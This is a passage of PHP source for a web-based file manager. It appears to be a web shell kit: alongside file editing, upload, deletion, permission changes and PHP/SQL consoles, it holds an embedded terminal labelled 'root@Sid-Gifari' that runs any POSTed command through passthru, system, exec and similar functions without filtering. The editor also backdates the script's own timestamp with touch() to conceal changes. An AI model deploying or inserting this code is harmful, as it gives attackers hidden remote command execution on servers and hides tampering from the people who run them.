    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
